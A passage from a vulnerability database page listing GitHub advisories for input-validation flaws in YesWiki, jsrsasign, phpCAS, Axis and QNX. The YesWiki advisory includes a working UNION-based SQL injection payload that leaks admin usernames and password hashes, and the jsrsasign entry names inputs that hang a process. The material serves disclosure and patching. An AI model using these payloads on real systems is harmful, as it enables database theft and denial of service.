    "CVE-2025-4645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T07:15:33Z",
    "severity": "MODERATE"
  },
  "details": "An ACAP configuration file lacked sufficient input validation, which could allow for arbitrary code execution. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.",
  "id": "GHSA-7x49-43rq-5f5c",
  "modified": "2025-11-11T09:30:30Z",
  "published": "2025-11-11T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4645"
    },
    {
      "type": "WEB",
      "url": "https://www.axis.com/dam/public/69/47/ff/cve-2025-4645pdf-en-US-504211.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89V6-J5X6-CMJ3

Vulnerability from github – Published: 2026-07-09 20:54 – Updated: 2026-07-09 20:54
VLAI
Summary
YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read
Details

Summary

The recentchanges action (actions/recentchanges.php) accepts a period argument from two disjoint parameter spaces: the URL query string ($_GET['period']) and the action invocation {{recentchanges period="..."}}. A whitelist at line 17 validates only the URL form against ['day','week','month']. The action-argument form takes the else branch at line 33 ($dateMin = $this->GetParameter('period')) with no validation, and the value flows into PageManager::getRecentlyChanged() (includes/services/PageManager.php:196), where it is interpolated into a WHERE time >= '...' ORDER BY time DESC clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via actions/recentchanges.php:43,58 (ComposeLinkToPage($page['tag'])), so any visitor of the trigger page sees the exfiltrated data.

The vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (default_write_acl='*'), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.

Details

Two issues compose the vulnerability.

  1. actions/recentchanges.php line 33 reads the action argument and skips the whitelist.

php if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) { switch ($_GET['period']) { case 'day': $d = strtotime('-1 day'); $dateMin = date('Y-m-d H:i:s', $d); break; case 'week': $d = strtotime('-1 week'); $dateMin = date('Y-m-d H:i:s', $d); break; case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break; } } else { $dateMin = $this->GetParameter('period'); }

Wiki::GetParameter() (includes/YesWiki.php:895) reads $this->parameter[$key], which is populated from the {{action key=value}} argument list — disjoint from $_GET. The whitelist's if branch only runs when $_GET['period'] matches one of three exact values; in every other case the else branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.

  1. In includes/services/PageManager.php, PageManager::getRecentlyChanged() interpolates the value into SQL.

php public function getRecentlyChanged($limit = 50, $minDate = ''): ?array { if (!empty($minDate)) { if ($pages = $this->dbService->loadAll( 'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages') . "where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc" )) { return $pages; } } }

$minDate is interpolated raw into the query and there is no $this->dbService->escape($minDate) and no parameter binding and no format check.

The default action ACL for recentchanges is * (includes/YesWiki.php:1100, GetModuleACL), so Performer::CheckModuleACL('recentchanges', 'action') returns true for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious period argument.

PoC

Default fresh install so default_write_acl='*'. 1. place the SQLi payload on a page

{{recentchanges period="2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- "}}

The five UNION columns match the id, tag, time, user, owner projection that getRecentlyChanged selects. The tag column is rendered into the response as a hyperlink, exfiltrating the leaked data.

  1. anyone visits the page
GET /?<TriggerPage> HTTP/1.1
Host: target.example

The injected query executes server-side; the tag column is rendered into the page in actions/recentchanges.php:43,58 via ComposeLinkToPage($page['tag']).

Impact

Arbitrary read of any DB column the application's MySQL user can access.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:54:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `recentchanges` action (`actions/recentchanges.php`) accepts a `period` argument from two disjoint parameter spaces: the URL query string (`$_GET[\u0027period\u0027]`) and the action invocation `{{recentchanges period=\"...\"}}`. A whitelist at line 17 validates only the URL form against `[\u0027day\u0027,\u0027week\u0027,\u0027month\u0027]`. The action-argument form takes the `else` branch at line 33 (`$dateMin = $this-\u003eGetParameter(\u0027period\u0027)`) with no validation, and the value flows into `PageManager::getRecentlyChanged()` (`includes/services/PageManager.php:196`), where it is interpolated into a `WHERE time \u003e= \u0027...\u0027 ORDER BY time DESC` clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via `actions/recentchanges.php:43,58` (`ComposeLinkToPage($page[\u0027tag\u0027])`), so any visitor of the trigger page sees the exfiltrated data.\n\nThe vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (`default_write_acl=\u0027*\u0027`), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.\n\n### Details\n\nTwo issues compose the vulnerability.\n\n1. `actions/recentchanges.php` line 33 reads the action argument and skips the whitelist.\n\n   ```php\n   if (isset($_GET[\u0027period\u0027]) \u0026\u0026 in_array($_GET[\u0027period\u0027], [\u0027day\u0027, \u0027week\u0027, \u0027month\u0027])) {\n       switch ($_GET[\u0027period\u0027]) {\n           case \u0027day\u0027:   $d = strtotime(\u0027-1 day\u0027);   $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n           case \u0027week\u0027:  $d = strtotime(\u0027-1 week\u0027);  $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n           case \u0027month\u0027: $d = strtotime(\u0027-1 month\u0027); $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n       }\n   } else {\n       $dateMin = $this-\u003eGetParameter(\u0027period\u0027);   \n   }\n   ```\n\n   `Wiki::GetParameter()` (`includes/YesWiki.php:895`) reads `$this-\u003eparameter[$key]`, which is populated from the `{{action key=value}}` argument list \u2014 disjoint from `$_GET`. The whitelist\u0027s `if` branch only runs when `$_GET[\u0027period\u0027]` matches one of three exact values; in every other case the `else` branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.\n\n2.  In `includes/services/PageManager.php`, `PageManager::getRecentlyChanged()` interpolates the value into SQL.\n\n   ```php\n   public function getRecentlyChanged($limit = 50, $minDate = \u0027\u0027): ?array\n   {\n       if (!empty($minDate)) {\n           if ($pages = $this-\u003edbService-\u003eloadAll(\n               \u0027select id, tag, time, user, owner from\u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027)\n               . \"where latest = \u0027Y\u0027 and comment_on = \u0027\u0027 and time \u003e= \u0027$minDate\u0027 order by time desc\"\n           )) {\n               return $pages;\n           }\n       }\n   }\n   ```\n\n   `$minDate` is interpolated raw into the query and there is no `$this-\u003edbService-\u003eescape($minDate)` and no parameter binding and no format check.\n\nThe default action ACL for `recentchanges` is `*` (`includes/YesWiki.php:1100`, `GetModuleACL`), so `Performer::CheckModuleACL(\u0027recentchanges\u0027, \u0027action\u0027)` returns `true` for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious `period` argument.\n\n### PoC\n\nDefault fresh install so `default_write_acl=\u0027*\u0027`.\n1. place the SQLi payload on a page\n\n```\n{{recentchanges period=\"2000-01-01\u0027 UNION SELECT 9999 AS id, CONCAT(\u0027LEAK_\u0027, name, \u0027_\u0027, SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name=\u0027AdminUser\u0027 -- \"}}\n```\n\nThe five UNION columns match the `id, tag, time, user, owner` projection that `getRecentlyChanged` selects. The `tag` column is rendered into the response as a hyperlink, exfiltrating the leaked data.\n\n2. anyone visits the page\n\n```http\nGET /?\u003cTriggerPage\u003e HTTP/1.1\nHost: target.example\n```\n\nThe injected query executes server-side; the `tag` column is rendered into the page in `actions/recentchanges.php:43,58` via `ComposeLinkToPage($page[\u0027tag\u0027])`.\n\n### Impact\n\nArbitrary read of any DB column the application\u0027s MySQL user can access.",
  "id": "GHSA-89v6-j5x6-cmj3",
  "modified": "2026-07-09T20:54:46Z",
  "published": "2026-07-09T20:54:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-89v6-j5x6-cmj3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/5da27474c3ee62270c8a6b9d7055d494cdbd38e5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read"
}

GHSA-8G7P-JF3G-GXCP

Vulnerability from github – Published: 2026-03-23 06:30 – Updated: 2026-07-21 13:42
VLAI
Summary
jsrsasign is vulnerable to DoS through Infinite Loop when processing zero or negative inputs
Details

Versions of the package jsrsasign before 11.1.1 are vulnerable to Infinite loop via the bnModInverse function in ext/jsbn2.js when the BigInteger.modInverse implementation receives zero or negative inputs, allowing an attacker to hang the process permanently by supplying such crafted values (e.g., modInverse(0, m) or modInverse(-1, m)).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsrsasign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-4598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:51:28Z",
    "nvd_published_at": "2026-03-23T06:16:21Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package jsrsasign before 11.1.1 are vulnerable to Infinite loop via the bnModInverse function in ext/jsbn2.js when the BigInteger.modInverse implementation receives zero or negative inputs, allowing an attacker to hang the process permanently by supplying such crafted values (e.g., modInverse(0, m) or modInverse(-1, m)).",
  "id": "GHSA-8g7p-jf3g-gxcp",
  "modified": "2026-07-21T13:42:15Z",
  "published": "2026-03-23T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kjur/jsrsasign/pull/648"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kjur/jsrsasign/commit/ca5b027240287a1e71fe63019fc4400332594323"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-JSRSASIGN-15370938"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-15812263"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4598.json"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kjur/jsrsasign"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Kr0emer/a1bf5cd4547cc630d2dcc5e761de8264"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450210"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-4598"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6720"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6568"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23361"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22840"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19410"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19409"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19375"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jsrsasign is vulnerable to DoS through Infinite Loop when processing zero or negative inputs"
}

GHSA-8Q72-6QQ8-XV64

Vulnerability from github – Published: 2022-11-01 18:11 – Updated: 2022-11-01 18:11
VLAI
Summary
phpCAS vulnerable to Service Hostname Discovery Exploitation
Details

Impact

The phpCAS library uses HTTP headers to determine the service URL used to validate tickets. This allows an attacker to control the host header and use a valid ticket granted for any authorized service in the same SSO realm (CAS server) to authenticate to the service protected by phpCAS. Depending on the settings of the CAS server service registry in worst case this may be any other service URL (if the allowed URLs are configured to "^(https)://.*") or may be strictly limited to known and authorized services in the same SSO federation if proper URL service validation is applied.

This vulnerability may allow an attacker to gain access to a victim's account on a vulnerable CASified service without victim's knowledge, when the victim visits attacker's website while being logged in to the same CAS server.

Patch

phpCAS 1.6.0 is a major version upgrade that starts enforcing service URL discovery validation, because there is unfortunately no 100% safe default config to use in PHP. Starting this version, it is required to pass in an additional service base URL argument when constructing the client class.

For more information, please refer to the upgrading doc.

Workarounds

This vulnerability only impacts the CAS client that the phpCAS library protects against. The problematic service URL discovery behavior in phpCAS < 1.6.0 will only be disabled, and thus you are not impacted from it, if the phpCAS configuration has the following setup:

  1. phpCAS::setUrl() is called (a reminder that you have to pass in the full URL of the current page, rather than your service base URL), and
  2. phpCAS::setCallbackURL() is called, only when the proxy mode is enabled.
  3. Alternatively, if your PHP's HTTP header input X-Forwarded-Host, X-Forwarded-Server, Host, X-Forwarded-Proto, X-Forwarded-Protocol is sanitized before reaching PHP (by a reverse proxy, for example), you will not be impacted by this vulnerability.

Otherwise, you should upgrade the library to get the safe service discovery behavior.

If your CAS server service registry is configured to only allow known and trusted service URLs, the severity of the vulnerability is reduced substantially since an attacker must be in control of another authorized service.

Acknowledgement

We would like to thank Filip Hejsek for discovering this vulnerability, responsibly reporting it to the developers, and helping harden the patch.

Henry Pan and Joachim Fritschi helped with the patch and release effort as phpCAS developers.

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "apereo/phpcas"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39369"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-01T18:11:07Z",
    "nvd_published_at": "2022-11-01T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe phpCAS library uses HTTP headers to determine the service URL used to validate tickets. This allows an attacker to control the host header and use a valid ticket granted for any authorized service in the same SSO realm (CAS server) to authenticate to the service protected by phpCAS. \nDepending on the settings of the CAS server service registry in worst case this may be any other service URL (if the allowed URLs are configured to \"^(https)://.*\") or may be strictly limited to known and authorized services in the same SSO federation if proper URL service validation is applied.\n\nThis vulnerability may allow an attacker to gain access to a victim\u0027s account on a vulnerable CASified service without victim\u0027s knowledge, when the victim visits attacker\u0027s website while being logged in to the same CAS server. \n\n### Patch\n\nphpCAS 1.6.0 is a major version upgrade that starts enforcing service URL discovery validation, because there is unfortunately no 100% safe default config to use in PHP. Starting this version, it is required to pass in an additional service base URL argument when constructing the client class.\n\nFor more information, please refer to the upgrading doc.\n\n### Workarounds\n\nThis vulnerability only impacts the CAS client that the phpCAS library protects against. The problematic service URL discovery behavior in phpCAS \u003c 1.6.0 will only be disabled, and thus you are not impacted from it, if the phpCAS configuration has the following setup:\n\n1. `phpCAS::setUrl()` is called (a reminder that you have to pass in the full URL of the current page, rather than your service base URL), and\n2. `phpCAS::setCallbackURL()` is called, only when the proxy mode is enabled.\n3. Alternatively, if your PHP\u0027s HTTP header input `X-Forwarded-Host`, `X-Forwarded-Server`, `Host`, `X-Forwarded-Proto`, `X-Forwarded-Protocol` is sanitized before reaching PHP (by a reverse proxy, for example), you will not be impacted by this vulnerability.\n\nOtherwise, you should upgrade the library to get the safe service discovery behavior.\n\nIf your CAS server service registry is configured to only allow known and trusted service URLs, the severity of the vulnerability is reduced substantially since an attacker must be in control of another authorized service.\n\n### Acknowledgement\n\nWe would like to thank Filip Hejsek for discovering this vulnerability, responsibly reporting it to the developers, and helping harden the patch.\n\nHenry Pan and Joachim Fritschi helped with the patch and release effort as phpCAS developers.",
  "id": "GHSA-8q72-6qq8-xv64",
  "modified": "2022-11-01T18:11:07Z",
  "published": "2022-11-01T18:11:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apereo/phpCAS/security/advisories/GHSA-8q72-6qq8-xv64"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apereo/phpCAS/commit/b759361d904a2cb2a3bcee9411fc348cfde5d163"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apereo/phpCAS"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apereo/phpCAS/releases/tag/1.6.0"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2XL7SMW6ESSP2Y6HHRYWW2MMCZSI4LBZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RUA2JM6YT3ZXSZLBJVRA32AXYM3GJMO3"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VJZGTWJ5ZXUUT47EHARNOUUNTH6SYDSE"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpCAS vulnerable to Service Hostname Discovery Exploitation"
}

GHSA-8W7P-V3P3-2MRJ

Vulnerability from github – Published: 2021-12-14 00:00 – Updated: 2025-09-09 18:31
VLAI
Details

A remote code execution vulnerability in the BMP image codec of BlackBerry QNX SDP version(s) 6.4 to 7.1 could allow an attacker to potentially execute code in the context of the affected process.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-32024"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-13T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A remote code execution vulnerability in the BMP image codec of BlackBerry QNX SDP version(s) 6.4 to 7.1 could allow an attacker to potentially execute code in the context of the affected process.",
  "id": "GHSA-8w7p-v3p3-2mrj",
  "modified": "2025-09-09T18:31:10Z",
  "published": "2021-12-14T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32024"
    },
    {
      "type": "WEB",
      "url": "http://support.blackberry.com/kb/articleDetail?articleNumber=000089042"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list